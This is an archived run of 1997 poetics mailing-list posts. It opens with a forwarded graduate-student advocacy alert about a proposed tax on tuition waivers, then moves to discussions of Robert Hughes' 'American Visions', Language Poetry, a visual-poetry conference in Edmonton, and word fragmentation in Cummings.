Apologies for burdening the list w/ academic info. But this seemed worthy of attention and/or distribution. Those in academic positions might pass it on to their grad. students and/or write the necessary letters to congress...

> *6/13/97*
>
> *Tax Scenarios Show Loss of Section 117d*
> *Could Increase Grad Student Taxes by up to 1000%*
> *or more than $500/month*
> *SEVEN STUDENT TAX RETURNS BELOW*
>
> *Washington, DC . . . The House Ways and Means Committee has voted in favor of a tax bill that includes among its provisions a tax increase on graduate teachers and researchers of up to 1000% (one thousand percent). In a vote strictly on party lines, the Committee approved the tax proposal originally offered by Chairman Bill Archer (R-TX). Quick surveys done by NAGPS have concluded that the tax proposal would dramatically increases tax burdens on graduate students making less than $15,000 per year.*
>
> *Among the various changes to the tax code, the Chairman's proposal would eliminate Section 117d of the Internal Revenue code. Section 117d currently protects from taxation the tuition waivers often granted by universities to graduate teaching and researchers in return for teaching up to 40% of the courses on some of the nation's largest university campuses.*
>
> *Because the value of tuition waivers often exceeds stipends also paid to TAs and RAs, counting those waivers as income has the potential to*

increase taxes by thousands of dollars per student per year. Seven student scenarios (listed below) illustrate how some students will pay 1000% (one thousand percent) more in taxes, or up to more than $500 per month.

In response, NAGPS (the National Association of Graduate-Professional Students) is calling upon students, faculty and administrators throughout the United States to contact members of Congress to protest this new tax. Graduate students throughout the US have expressed shock and surprise at the proposal, with email listserves, web sites and word-of-mouth quickly alerting students.

"It is sad that a bill being offered to make taxes `more fair' has instituted a brand new tax on students many of whom earn less than $15,000 per year," said NAGPS Executive Director Kevin Boyer. "It is also a shame that, instead of taking a pro-graduate-education stance in this bill, the committee chose instead to offer no incentives for graduate education." NAGPS had anticipated that the tax legislation would extend a tax deduction for student loan interest, and would offer a tax incentive to employers who sought to pay for employees' graduate school. Both provisions have widespread bipartisan support and were promised in 1996 Congressional or Presidential campaigns.

Those interested in learning more about the tax bill should visit the NAGPS web site at http://www.nagps.org/NAGPS/. NAGPS is also running a legislative alert email list. To be placed on the list, send an email request to [redacted]

#####

NAGPS Asked: What if Section 117d were eliminated?
What could be the effect on your tax bill?
These students represent some of the effects.

STUDENT #1
Female PhD Student
Asian Languages & Culture
University of Michigan/Ann Arbor

CURRENT LAW SCENARIO
1997 Gross: $ 8,333
Projected 1997 Income Tax: $ 268
1997 Net Income $ 8,065

NO SECTION 117D SCENARIO
Stipend Income: $ 8,333
Tuition waiver (2 x $9470): $18,940
Total Income: $27,273

Projected 1997 Income Tax: $ 3,109 (+ 1160%)
Tuition Paid: $18,940
1997 Net Income $5,224 (-$237/mo)

STUDENT #2
Married Couple, filing jointly; Male PhD student at the University of Alabama/Huntsville, both residing in Huntsville, Alabama. Recently married. Husband is student at the University of Alabama/Huntsville. Wife lost her job in 1996 and has augmented income with painting homes.

CURRENT LAW SCENARIO
1996 Gross: $39,836
1996 Tax: $ 4,405
1996 Net Income $35,431

NO SECTION 117D SCENARIO
Stipend Income: $39,836
Fellowship Income: $ 6,000
Total Income: $45,836
Projected 1996 Income Tax: $ 5,081 (+ 15%)
Tuition Paid: $ 6,000
1996 Net Income $34,755 (-$56/mo)

STUDENT #3
Female PhD Student
Worcester Polytechnic Institute
Resides in Millbury, Massachusetts

CURRENT LAW SCENARIO
1996 Gross: $14,400
1996 Federal/State Tax: $ 2,390
1996 Net Income $12,500

NO SECTION 117D SCENARIO
Stipend Income: $14,400
Tuition Waiver Income: $10,680
Total Income: $25,080
Projected 1996 Income Tax: $ 3,992 (+67%)
Tuition Paid: $10,680
1996 Net Income $10,488 (-$168/mo)

Student says: ="This would leave me with 10,400, or about 870 per month. I pay 450 in health insurance, 600 in car insurance, 400 per month for rent, and about 100 per month for utilities. This leaves me about 280 per month for food, clothing, books, entertainment, gas, and other incidental expenses. I have enough trouble as it is living on the 1000 dollars per month that I currently make after taxes. I never see the extra 10,680 dollars that go for my tuition ; they are not in my pocket. If this tax

> *bill is passed, I would seriously consider leaving graduate school, as I do not think that I could afford to live on the pay that I would take home."*
>
> *STUDENT #4*
> *Male PhD Student*
> *University of Delaware*
> *Resides in Newark, Delaware*
>
> *CURRENT LAW SCENARIO*
> *1997 Gross: $ 9,600*
> *1997 Federal/State Tax: $ 838*
> *1997 Net Income $ 8,762*
>
> *NO SECTION 117D SCENARIO*
> *Stipend Income: $ 9,600*
> *Tuition Waiver Income: $11,250*
> *Total Income: $20,850*
> *Projected 1997 Income Tax: $ 2,527 (+201%)*
> *Tuition Paid: $11,250*
> *1996 Net Income $ 7,073 (-$141/mo)*
>
> *Student says: "To offset the tax difference ($1,713 at least) for me, and to compensate for the increased tax withheld from an increased stipend, the university would have to increase my stipend by more than 20 percent $1,985 bringing it from $9,600 to $11,585." How can they do this without increasing tuition?*
>
> *STUDENT #5*
> *Male PhD Student is a Research Assistant on an EPA Grant and studies at Worcester Polytechnic Institute Resides in Worcester, Massachusetts.*
>
> *CURRENT LAW SCENARIO*
> *1996 Gross: $14,000*
> *1996 Federal/State Tax: $ 549*
> *1996 Net Income $13,451*
>
> *NO SECTION 117D SCENARIO*
> *Stipend Income: $14,000*
> *Tuition Waiver Income: $11,280*
> *Total Income: $25,280*
> *Projected 1996 Income Tax: $ 3,797 (+691%)*
> *Tuition Paid: $11,280*
> *1996 Net Income $10,203 (-$270/mo)*
>
> *Student says: Each year, I pay $3960 rent, $480 health insurance, $360 bus pass, $240 phone, $600 other utilities, $130 membership in two professional societies (American Chem. Soc. and Water Environment Fed.), and $60 to maintain a checking account, for a total of $5830 in expenses before food. I*

spend another $300 on books and supplies (grad books are expensive!). I'm frugal - I can maintain a home and eat for $10/day, or $3650/yr. That lea= ves $3671, or $306/month for entertainment, clothing, Christmas presents for my nieces, prescription medicines, non-prescription medicines, film developing, and a suit when I graduate. But this bill would leave me with $299, or $16.58/month. Maybe I won't need that suit."

STUDENT #6
Female PhD Student
Involved with Dartmouth College Graduate Student Council, Resides in Hanover, New Hampshire

CURRENT LAW SCENARIO
1996 Gross: $13,538
1996 Federal/State Tax: $ 1,429
1996 Net Income $12,109

NO SECTION 117D SCENARIO
Stipend Income: $13,538
Tuition Waiver Income: $29,128
Total Income: $42,665
Projected 1996 Income Tax: $ 7,709 (+539%)
Tuition Paid: $29,128
1996 Net Income $ 5,828 (-$523/mo)

Student says: "Therefore, Dartmouth graduate students would have paid $6280 more in taxes, which would have made our income $7258 for the year (46% decrease). It would not be possible to live in the area on that wage. For 1997, the tuition is now $30,528. I hope this helps! I sent the word out to all Arts and Sciences graduate students at Dartmouth yesterday (291 of us we're a small grad institution) and all who have responded are very upset. It just would not be possible for any of us to pursue a career in research and education if this tax bill passes. As graduate students, we do not expect high incomes in our chosen fields and, to be here now, we are sacrificing health benefits, pension plans, and high incomes during our 20s and 30s. All of this we do to become educators and educated researchers for the United States. Shouldn't they be encouraging us??

STUDENT #7
Married Couple
Wife is a student at George Washington University. Husband employed by federal government. Resides in Alexandra, Virginia

CURRENT LAW SCENARIO
1996 Gross: $50,528
1996 Federal/State Tax: $ 5,950
1996 Net Income $44,578

NO SECTION 117D SCENARIO
Stipend Income: $50,528
Tuition Waiver Income: $ 9,050
Total Income: $59,578
Projected 1996 Income Tax: $ 8,164 (+37%)
Tuition Paid: $ 9,050
1996 Net Income $42,364 (-$185/mo)

==========
| >>>> The National Association of Graduate - Professional Students <<<< |
| 825 Green Bay Road, Suite 270 PHONE: [redacted] |
| Wilmette, IL 60091 FAX: [redacted] |
*| Toll Free 1-888-88-NAGPS * Email to: [redacted] |*
+----------+
| NAGPS 12th National Conference - New Orleans, Louisiana |
| October 30 - November 2, 1997 |
+----------+----------+
| To access the NAGPS Internet Job Bank, send email to [redacted] |
+----------+----------+
| #### WWW Site > http://www.nagps.org/NAGPS/ #### |
==========

This message | Help on the lists [redacted]
sent using the | Subscribe/remove/etc.
[redacted]
NAGPS E-mail | General talk list [redacted]
Server | Reach NAGPS officers [redacted]

==========
Pascual H. Benito
Graduate Student
U.C. Berkeley
Dept. Material Sci.& Mineral Engineering

Office: 485 Davis ph: [redacted]
Home: 916 Mendocino Ave. Berkeley Ca 94707
Phone: [redacted]
email: [redacted], or [redacted]
==========

> ==========
> ==========
> * *AAASCommunity, the Discussion & News list of the*
> * *Email Network of the Association for Asian American Studies*
> ---
> * *Coordinator: <[redacted]>*
> ==========
> ==========

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557. **Pam Brown**

x

Thu 19 Jun 1997

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x

↑ Index

558. **Mark Weiss**

summer reading

Fri 20 Jun 1997

I just received several very slightly dinged (as in dented, not made grey) copies of Richard Elman's novel Tar Beach from Sun&Moon, a bargain at $6.50. A wonderful book, and I can't imagine better reading for the sand set this summer.

↑ Index

559. **Maria Damon**

Re: jwcurry, sondheim, kdawn

Fri 20 Jun 1997

At 11:18 AM -0500 6/16/97, Pritchett,Pat @Silverplume wrote:
>I will briefly "third" Kent & Tom's posts. I too am betwitched, be-
>bothered and be-wilded by Alan's work as it appears here and at his other
>websites (which I've only just begun to examine). This is exciting
>groundbreaking work and only my own ignorance prevents me from saying more
>about the theory behind the work other than it appears to be the logical
>extension of his work in _Disorders of the Real_. "Confused Fall of Autumnal
>Empire" now adorns my grey office cube wall.
>
>Patrick Pritchett

hey, sondheim's the greatest. i adore his work and i've let him know back-c.

↑ Index

560. **Gwyn McVay**
Re: x
Fri 20 Jun 1997

DT, how on earth can you put forth such a blatantly male-centered discourse?

On Fri, 20 Jun 1997, Daniel Tessitore wrote:

> *y*
>
> *----------*
> *From: Pam Brown[SMTP:[redacted]]*
> *Sent: Friday, June 20, 1997 11:24 AM*
> *To: [redacted]*
> *Subject: x*
>
> *x*

↑ Index

561. **Gwyn McVay**
Re: x
Fri 20 Jun 1997

> *Actually, that was a plug. Limited handsewn editions of "y" will soon >be availble from my own Euro-American-male-dominated propaganda machine, the O Press.*

Fine, as long as O Press uses Quark XPress.

Gwyn

↑ Index

562. **Steve Shoemaker**
back in the addle
Fri 20 Jun 1997

Well, I've finished my dissertation, had a small vacation, and cleaned out my mailbox. At least it *was* nice & tidy until i sent my "set poetics mail" command before i went to bed last night. Now it's pleasingly packed again and the struggle to catch up, keep up, and generally hup hup w/ you all begins--let her rip!

steve

ps.

Hi Bennett, you finally "appeared." I remember those summers in C-ville, but if you think they're hot you shld try C-town (Charleston). At least here, tho, one can stagger over to the ocean and get licked by a wave. A mountain ain't quite so lubricious, eh?

↑ Index

563. Daniel Tessitore

Re: x

Fri 20 Jun 1997

---

y

From: Pam Brown[SMTP:[redacted]]
Sent: Friday, June 20, 1997 11:24 AM
To: [redacted]
Subject: x

x

↑ Index

564. Daniel Tessitore

Re: x

Fri 20 Jun 1997

Actually, that was a plug. Limited handsewn editions of "y" will soon be availble from my own Euro-American-male-dominated propaganda machine, the O Press.

DT

From: Gwyn McVay[SMTP:[redacted]]
Sent: Saturday, June 21, 1997 12:14 AM
To: [redacted]
Subject: Re: x

DT, how on earth can you put forth such a blatantly male-centered discourse?

On Fri, 20 Jun 1997, Daniel Tessitore wrote:

> *y*
>
> *---*
> *From: Pam Brown[SMTP:[redacted]]*
> *Sent: Friday, June 20, 1997 11:24 AM*

> *To:* [redacted]
> *Subject:* x
>
> x

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565. **Daniel Tessitore**
(no subject)
Fri 20 Jun 1997

Who was the guy--I think he was British--who, like Hughes seems to have done, went through the 20th c. on PBS with a rather sarcastic eye maybe four or five years ago? I think his was more of a biography tour.

DT

From: Mark Weiss[SMTP:[redacted]]
Sent: Saturday, June 21, 1997 3:33 PM
To: [redacted]

A few comments on Hughes: in his final episode among the very few currently working artists he had anything good to say about were Louises Bourgeoise and Susan Rothenberg. His comments on the dirt-paved loft were more bemused than celebratory. And he punctured a few silly reputations, like Koons. (If you're interested in kitsch elevated to art check out Robert Colescott or Luis Jimenez) His thrust was clearly despair about much of what goes on these days in the business of art, and I think he's largely right. Some characters get off rather too easily. Eric Fischl, despite what Hughes characterizes as his bad drawing, becomes a contemporary master. I've been waiting without much hope for him to reach puberty. But I, too, am dubious about many of Hughes' ideas. I think he rather simplifies the history of the art of this place in order to substantiate a theory of decline analogous to Turner's "frontier thesis," in this case that American art declines as it loses contact with its roots in landscape. Rather too neat, and also ignores the many, like John Lees, still profoundly involved with that landscape.

At 11:49 AM 6/20/97 -0700, you wrote:
>Pritchett,Pat @Silverplume wrote:
>>
>> Watched a portion of Robert Hughes' new series "American Visions" last night
>> - the first hour of Part 4, anyway, before I fell asleep on the couch.
I

>> found it a particularly irksome exercise and wondered if anyone else felt
>> the same way. What a pompous old billygoat Hughes is! He reminds me of
>> Gertrude Stein's description of Pound: "Ezra Pound is the village explainer.
>> Fine if you are a village. If not, not." The lowpoints for me: Hughes
>> shortshrifting Rothko (his project to raise Abstract Expressionism to the
>> level of religious painting was "bound to fail," opined RH, without giving
>> any reason. Translation: I don't like this stuff!) And as my wife was quick
>> to point out indignantly, he gave, in the first hour of Part 4 anyway, no
>> mention of any women artists at all. Where were Helen Frankenthaler? Louise
>> Nevelson? Diane Arbus? Elaine DeKooning? (to name but a few...)
>>
>> What I did take away though was a question about the influence of Abstract
>> Expressionism on Language Poetry. I've not read anything yet about this,
>> but a cross-pollenizing current here seems fairly evident. The underlying
>> idea in both movements being the liberation of the text -- painted, or
>> written -- from all notions of an imposed narrative logic, that is, a direct
>> transmission of a pre-constituted and inflexible set of meanings, a rigid,
>> unchanging code, from to author to viewer or reader. Meaning, instead, is a
>> seen as contextualized event -- it does not naturally inhere within a work,
>> but occurs in the space created at the intersection of painting and viewer,
>> text and reader. Hughes wore his best look of crinkled bafflement as
>> Rauscheneberg explained this in so many words to him in RR's studio. Typical
>> discussions of the evolution of LangPo focus on its literary and political
>> roots. What I'd like to know, if someone can supply it, is what's been said

>> on LP's connection to painting?
>>
>> Patrick Pritchett
>
>Afraid I wouldn't be able to comment on LP's connection to painting,
>except to maybe spout out some theories based on my own use of paintings
>and art criticism in my work, but I did have the same reaction to
>American Visions. Perhaps I'm unfair because I only saw the last
>"episode", but I too noticed the absence of women and his derision of
>"current" American art. I was disappointed, especially after reading the
>article in the Sunday Times about it - I thought that he was bitter on
>America because in the end, the series was funded by Britain and not the
>U.S.
>I think also was his inconsistency of opinion, his editorializing.
>"Stations of the Cross", for example, he implied should hardly be called
>such. I might agree it probably isn't a fulfilling spiritual experience,
>but I think it held greater meaning than he gave it credit for. I also
>found his debate with - I forget the artist's name, but he did the
>Michael Jackson and Bubbles sculpture - almost disturbing. Of course he
>was playing devil's advocate, but he seemed he was trying to get the
>artist to justify his work, and they were discussing a work-in-progress!
>He also dismissed many pieces with a "but so what", such as the gnawed
>chocolate block, but commented favorably on a room filled with dirt.
>It was here that I thought of the rhetorical in art - just as in a
>workshop I had with Aaron Shurin, where we discussed the rhetorical in
>writing. I might agree with Hughs in that being gay or anorexic/bulimic
>or having AIDS doesn't necessarily make your art good, and that a room
>full of dirt perhaps has subtle(er) implications than does a block of
>chocolate. But in any case, I found his concluding dismissal of current
>American art disturbing - because his whole point was that it mirors the
>society, and hey, look at society right now.
>Anway, back to "space created at intersection of painting and viewer".
>Yes, another artist commented on that. That the context comes in this
>space, and each viewer changes that context. I want to connect this to
>another point about how the art is installed - Chinese men behind a
>veil, or angles and light making you look at something a certain way -
>but I haven't completed that connection in my head yet. Conceptual art
>too. Looking forward to more discussion.
>
>(My first big convoluted outburst)
>Karen McKevitt

>
>

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566. **dbkk**
Re: Text radicalism and incest radicalism
Fri 20 Jun 1997

At 8:31 PM +0100 6/19/97, Ira Lightman wrote:

> *Fraser uses a style where the past erupts in a voice like a demon possessing the autobiographic I of the present. Ok, this may seem old hat to George's friend, or "bad writing" in that context. However, to someone processing recovered incest memories, it's a very powerful evocative trope; one of the reasons there's a lot of melodrama and zeal in such books is that the effort of undoing of a self in denial is a fight: a fight against denial. The fact that the erupting voice, however, may seem demonic is very psychologically interesting (thus interesting about the world: a feature of "good writing"). The incestuous abuse of a child is demonic; but so too may seem the return of feelings that one has repressed to a self in denial!*

Very interesting post, Ira. It reminds me of what I was just reading in Terry Castle's collection of essays, _The Female Thermometer_, Castle's theory that the uncanny (in Freud's sense of it) was invented by the Age of Reason. If the uncanny is the return of something repressed, it cannot exist without repression. If one believes in a world of ghosts and the supernatural, there can be terror, but not the uncanny, because, again, there is nothing to break through. Rationalism to the rescue! So, the voices coming through as demonic, as you describe them above, to me, shimmers with uncanniness.

Somewhere in _Mina_ I quote the line, "the return of the repressed excess beyond the text." I love that line. In my version I stick a cartoon POW! in the middle of it.

Dodie

p.s. And sorry to Pat P., to whom I already went on and on about this privately.

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567. Judy Roitman
query
Fri 20 Jun 1997

Any readings etc. in San Diego the week of July 14?

Please answer before June 26. Thanks.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

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568. Karen and Trevor
Re: American Derision
Fri 20 Jun 1997

Pritchett,Pat @Silverplume wrote:
>
> Watched a portion of Robert Hughes' new series "American Visions" last night
> - the first hour of Part 4, anyway, before I fell asleep on the couch. I
> found it a particularly irksome exercise and wondered if anyone else felt
> the same way. What a pompous old billygoat Hughes is! He reminds me of
> Gertrude Stein's description of Pound: "Ezra Pound is the village explainer.
> Fine if you are a village. If not, not." The lowpoints for me: Hughes
> shortshrifting Rothko (his project to raise Abstract Expressionism to the
> level of religious painting was "bound to fail," opined RH, without giving
> any reason. Translation: I don't like this stuff!) And as my wife was quick
> to point out indignantly, he gave, in the first hour of Part 4 anyway, no
> mention of any women artists at all. Where were Helen Frankenthaler? Louise
> Nevelson? Diane Arbus? Elaine DeKooning? (to name but a few...)
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> Expressionism on Language Poetry. I've not read anything yet about this,
> but a cross-pollenizing current here seems fairly evident. The underlying
> idea in both movements being the liberation of the text -- painted, or
> written -- from all notions of an imposed narrative logic, that is, a direct
> transmission of a pre-constituted and inflexible set of meanings, a rigid,
> unchanging code, from to author to viewer or reader. Meaning, instead, is a
> seen as contextualized event -- it does not naturally inhere within a work,

> but occurs in the space created at the intersection of painting and viewer,
> text and reader. Hughes wore his best look of crinkled bafflement as
> Rauscheneberg explained this in so many words to him in RR's studio. Typical
> discussions of the evolution of LangPo focus on its literary and political
> roots. What I'd like to know, if someone can supply it, is what's been said
> on LP's connection to painting?
>
> Patrick Pritchett

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(My first big convoluted outburst)
Karen McKevitt

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569. **Christina Fairbank Chirot**
Re: eyerhymes in Edmonton
Fri 20 Jun 1997

Thank you to Douglas Barbour for sending a report on from Edmonton. And thank you again Douglas for the ride for Eduardo and me. Walt Whitman wrote in Specimen Days that the real story of the (Civil) War would never be written in books but would lie in the grave and silence. Hopefully some good work from the story of Edmonton will come, and not so much the story of the event as the work that comes about from the contacts made at the event. The event is just the start, not the finish or summation. A good deal of thanks to Jars Balan and Peter Bartl and the Ukrainian Languages people at Edmonton for providing un point de repere, for making this possible. I wanted to note a few things not mentioned in Douglas' report that were quite important at the eyerhymes Conference. On Monday, 16 June 97 the grand finale luncheon and an organizational meeting of the IVLA were held to close the conference. This was the official closing. But there was another, unofficial event held to bring the conference to its end/beginning and return it to the poets. This was an evening of performance held in Lecture Theatre 1 Humanities Centre at 19:30. Sergei Biriukov of Tambov, Russia and I (Dave Baptiste Chirot Milwaukee, USA) organized the event and Jars Balan and Peter Bartl gave us permission to use the hall. The readers/performers in their order of appearance:

Elizabeth Netzkowa & Sergei Biriukov poetry reading from texts
Clemente Padin: presentatiuon of video In Memorium America Latina
Rafael Levchin: poetry performance
Mark Sutherland: sound poetry
Mark Sutherland and Sergei Biriukov: improvised sound poetry
Sergei Birikov: Zaum
Alexandr Bubnov: poetry, performance pieces and songs
accompanied by guitar
Bob Cobbing: poems and sound poetry

The event was attended by about forty people and lasted for two hours. It was agreed by the poets present afterwards that the best way to end the conference was unofficially, with performances and international participation. Douglas Barbour noted the Ukrainians being somewhat apart from "the others" so to speak. I would say that this is so and not so. The so: Ukraine has not long been independent and there is a desire among the Ukrainians to celebrate and emphasize the distinctiveness of their culture and traditions. In the academic West it is easy to frown on nationalism, but then if you are the person who is carrying the big stick and carrying all the walking around money, it is always easy to be critical of the messiness of people who have only some land and odburately enduring traditions to announce themselves with. (There are after

all reservations in the USA for just such people. And there is Chernobyl in the Ukraine as a monument to the Soviet Union.) The not so: no one really approached the Ukrainians. Language barrier is no excuse. The Russians and Ukrainians attended all the talks, despite little knowledge of English on the part of many. But on the day of talks by Ukrainians and Russians (many of these presented in English language) a large contingent of Canadians and Americans left the conference and spent nearly the whole day at a large mall. But you can do this perhaps when you are the person carrying all the walking around money, perhaps that is why this was so. But it showed little solidarity with or interest in other poets and their work. Perhaps little interest is equated with little value--what money is there to be made from such poets? There is more of worth at the mall perhaps. This was unfortunate as many good presentations were given by Eastern Europeans. Jars Balan gave a moving account of the life and work of the Ukraine's first Concrete poet, Mykola Miroshnychenko, who was present at the conference and who had read the night before; Oleh Ilnytzkyj gave a terrific talk on the work of Mykhail Semenko and Sergei Biriukov gave a dramatic theoretical and historical accounting of Futurism, made vivid & immediate by his readings of Kruchonykh' s and Kamensky's Zaum and Ferro-Concrete pieces. As Douglas Barbour noted, palindromes are very imporatant in Ukrainian language and poetry, and there were talks and examples on this provided by Alexandr Bubnov and Ivan Luchuk. (Much discussion after among Luchuk, Mykola Soroka, Bob Cobbing and myself as to whether or not Luchuk has written as he claims the longest palindrome ever--3, 333 characters. The discussion continued through the rest of the conference as it hinges on the nature of extension--that is, what is the hinge by which the extension is hinged . . . from that starting point you can get into quite wide areas of visual and sound rhyming or what Robert Grenier calls "rhymms" and interrealtions.) In many ways I know for myself and the Russian and Ukrainian poets the conference provided an opportunity to thank in person Gerald Janecek for his works The Look of Russian Literature and Zaum The Transrational Poetry of Russian Futurism. Gerald Janecek and his work have had a huge impact and influence on my own work and that of the Russian and Ukrainian poets with whom I met and exchanged materials. He gave a wonderful and detailed and moving presentation on the life and work of Rea Nikonovna, one of the most intersting and important of contemporary Russian visual and mail artists.

The major accomplishment of the Eyerhymes conference was to bring together work and workers from many countries and traditions. Visual poetry is not the hottest new thing just going in a course guide or trendy web site but the oldest continuous tradition of writing. Edmonton provided a place to exchange work and learn of the ongoing traditions of visual poetry, that these continue and open possibilities and awarenesses in the world and writing that though

enduring suppression and neglect will go on. Hopefully the contacts made at the conference will lead to a renewed sense of a community of visual poets both independent and working together. I would also like to thank Bob Cobbing, Paul Dutton and Clemente Padin, Sergei Biriukov, Johanna Bartl and Mikalo Luhovyk and jwcurry for their work and example and many discussions over many long nights.

Again my thanks to Jars Balan for bringing the work and poets together, giving energy and hope for ongoing work!

--dave baptiste chirot

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570. **Piombino/Simon**

Re: o

Fri 20 Jun 1997

DT:
Since O Books is already taken (Leslie Scalapino's Press) what about
Uh-Oh Press?
Nick P.
On
Fri, 20 Jun 1997, Daniel Tessitore wrote:

> *Actually, that was a plug. Limited handsewn editions of "y" will soon be*
> *availble from my own Euro-American-male-dominated propaganda machine, the O Press.*
>
> *DT*
>
> *----------*
> *From: Gwyn McVay[SMTP:[redacted]]*
> *Sent: Saturday, June 21, 1997 12:14 AM*
> *To: [redacted]*
> *Subject: Re: x*
>
> *DT, how on earth can you put forth such a blatantly male-centered discourse?*
>
> *On Fri, 20 Jun 1997, Daniel Tessitore wrote:*
>
> *y*
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> *----------*
> *From: Pam Brown[SMTP:[redacted]]*
> *Sent: Friday, June 20, 1997 11:24 AM*
> *To: [redacted]*

> *Subject:* x
>
> x

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571. **Daniel Zimmerman**
Re: Cummings, Syllables, Nemes....
Fri 20 Jun 1997

Bob Grumman wrote:
>
> I look forward to what Charles ALexander comes up with regarding what I
> call the "intra-syllabic word-break." Can't remember ever coming across
> it in Loy but haven't read her that much--and I have to admit that I've
> never heard of Elsa von Freitag Loringhoven. If she was innovating
> anywhere near Cummings's level, I'd certainly like to hear more about
> her. Thanks, too, Charles, for the reminder of Hopkins's importance in
> this area. I revisited "The Windhover" where I did find "kingdom"
> broken into "king-" and "dom" at the end of the poem's first line and
> beginning of its second, which is certainly a precursor of what Cummings
> did. But Hopkins did it to make his first line rhyme with his fourth
> whereas Cummings fragmented his words mainly to "disconceal" inner words
> and hints of words, like "sing" (and "zing") in "using," and "ting(le)"
> in "inventing." Thus, while Hopkins is boosting the force of his
> syllables, Cummings is concerned with the force not of his syllables but
> of his *sylbs* (or whatever we decide to call textual entities smaller
> than syllables but larger than phonemes). Although you could say
> Cummings makes syllables of "sing" and "ting" above. (They aren't
> syllables in "us/ing" and "in/vent/ing.") He more clearly works with a
> sub-syllable to disconceal in the poem I quoted when he breaks "voices"
> into "voi," "c" and "es" to hint of "void"--and "envoi," too, due to the
> proximity to "voi" of an "e" broken off from "whose" by a parenthesis
> curve.
>
> I do think Hopkins a precursor in word-breaks. Consequently, I now have
> a new, related question: was HE the first to break lines off in the
> middle of words? That would have been an, perhaps THE, important first
> step toward what I call infra-verbal poetry--one easy to overlook as
> major now that it's been done, and superceded.

>
> I have other questions. I know that Dadaists broke up words--at least I
> can't imagine they didn't--but I doubt that they did so to any aesthetic
> purpose (except to provide implicit metaphors of chaos, revolution,
> etc.) Does anyone know much about Dada experiments in this line? Also,
> how prevalent has word-fragmentation been among the language poets? I
> know P. Inman, for one, has used it. Can't remember if he kept all the
> fragments of some of his words, though--rather than just a front or rear
> fragment.
>
> I'm among the world's worst literary historians but fascinated by it,
> especially the history of literary technique.
>
> Now, just in case this posting isn't dense enough, a few further
> thoughts on "nemes." It crossed my mind that one might want to have
> some term at hand to refer to the r's in "brave prince." You could call
> them letters but that seems insufficient if you want to emphasize their
> sound--as sort of submerged alliterants. (I'm continuing my discussion
> with Charles Smith about the value of having some term for a partial
> phoneme.) If we called the r's "rudinemes" or some such, we could refer
> to "rave rinse" as a phonemic alliteration and "brave prince" as a
> rudinemic alliteration. I know, we're into details of details no one
> but the kind of maniac I am could care about. But it isn't TOTALLY
> uninteresting, is it?
>
> One last note--about another neme: "repeneme," a term I coined to refer
> to any repeated sound in poetry--like the l-sounds in "total lunacy,"
> which aren't either alliterations or consonances but repeat each other
> to *some* auditory effect. Is there some better term available?
>
> --the ultra-nemic Bob G.

Bob, I haven't the texts at hand, remember seeing hypenations generated (inadvertently?)by typesetters [do we really KNOW any of those guys?--probably quite literate!] as early as the 17th cent., & perhaps before. This thread interests me because for the past 30 years or so I've hidden my secret identity as Captain -Neme-O, i.e., as what Olson called "a crawler of my own ground." I've reverted, now and then, to a 'syllabic'[? I wonder, not knowing IPA] inventory of my own poems, starting with the first 'sound' in the poem & making a list of all the other words in the poem with the 'same' 'sound'--then, having exhausted the armamentarium, I've looked at the lists to see if any of them bear a coherence sufficient to consider 'sonic armatures'--not that I'd

necessarily revise to enhance incipient ones [though occasionally I have], but just to discover what I might have tapped into on Orphee's radio [cf. Paul Kugler's _The Alchemy of Discourse_, Bucknell UP, 1982]. This practice has often yielded results interesting to me, at least, though I'd hesitate to recommend it as a fundamental _generative_ practice of poetics [it does offer more interesting possibilities than my current obsession, anagrams...a kabbalist at heart?]. Any other nuts-n-bolts freaks out there? Dan Zimmerman 485 Parsonage Road Edison, NJ 08837 [redacted]

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572. **David Bromige**
abstract personal
Fri 20 Jun 1997

Kudos to Mark Wallace for his posting re these terms. These shopworn terms.

Personally, the poetry most commonly called "personal" is not nearly personal enough for me. Just as the neo-formalists are not nearly formalist enough for me, either. Bandaid art. Bandaid art would be better, actually. I would gladly argue that Silliman's giant "abstracts" (humanity crystallized as motions, 'states',reflection & inwardness as surface phenomena equal with Q-tip in street) --I'm thinking of _Ketjak_ & _Tjanting_, but why stop there? I would argue that these are highly personal, as personal as you can get. *Much more* personal than Sexton or Plath, say, whose poems have their protocols of the personal-qua-tabu-subjects. These protocols are heavily coded treaties between readers & writers.

When Bob Grenier wrote "I HATE SPEECH" much was encoded therein. But surely one objection was to the way poets were shortchanging themselves (thus, ultimately, us) by meeting an audience far more than any imaginable "halfway", by opting for a protocol-model of speech,thus scanting poetry, which best keeps to itself its thought. Keeps as itself. "Back where the words are born," I think Grenier writes somewhere. There *can* be thinking before one speaks. Paradoxically (?), an esthetic quickness is more able to deliver such, than any plan.

When somebody puts his elbows on the desktop & tells me, "I'm going to level with you," I reavch for my doubt.

As for neo-formalism (Dana Gioia, I hear, is an adviser to Hallmark), it lacks micro-intensity. Micro being where lives actually takes place, neo-formalism is dead.

Sorry about putting the apples in with the oranges. Their apparance of relation is no accident..

+++++++++

To try to keep down # of postings, two other matters:

towards end of a talk I gave (printed in the first Hills/Talks book, ed Perelman) Barrett Watten has little good to say re-Rauschenberg. Smithson has held his interest & barrett has written of this. Too bad Barrett is not active on this List; he wrote often for _Art Week_ . Michael Palmer had an interest in Rothko, but denies he himself is a Language Poet. Surely a check thru Bernstein & Andrews will turn up the linkages our correspondent (s) are/is looking for.Myself have found Magritte & Escher & Van Gogh & H. Rousseau & Stuart Davis, to name 5 that stay with me among a host, relevant to the writing I enjoy, by self or others. Eigner, only LANGPO in the "Ur" sense, writes to a French correspondent "Moi je suis Henri Rousseau le Dounaier et Grandma Moses" or much to that effect. There's Matisse in early Perelman, though I hope I dont have to prove it.

++++++++++++

Borge Glowering's rdg of Jay's line must be correct, not my SHOULDER, & I kick myself for missing it, a matter of stress. Doesnt, hwvr, account for gb's initial sentence (re man naked with crow), nor does gb's latest reframe job on this List. Probably my love of opacity is making me unconsciously yet deliberately obtuse. David

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573. **Michael Magee**

Re: abstract personal

Fri 20 Jun 1997

---

thoughts on David Bromige's very recent post: on Silliamn/personal - yes, reading *What* in a graduate seminar of Bob Perelman's many of us came to the same conclusion - *What* is intensely personal, and not, to glance at a lang po buzz word, schizophrenic at all - it seems the the catalogue of the ways in which a contingent and pluralist comunity/world/space is working on a single consciousness. what could be more personal than that?

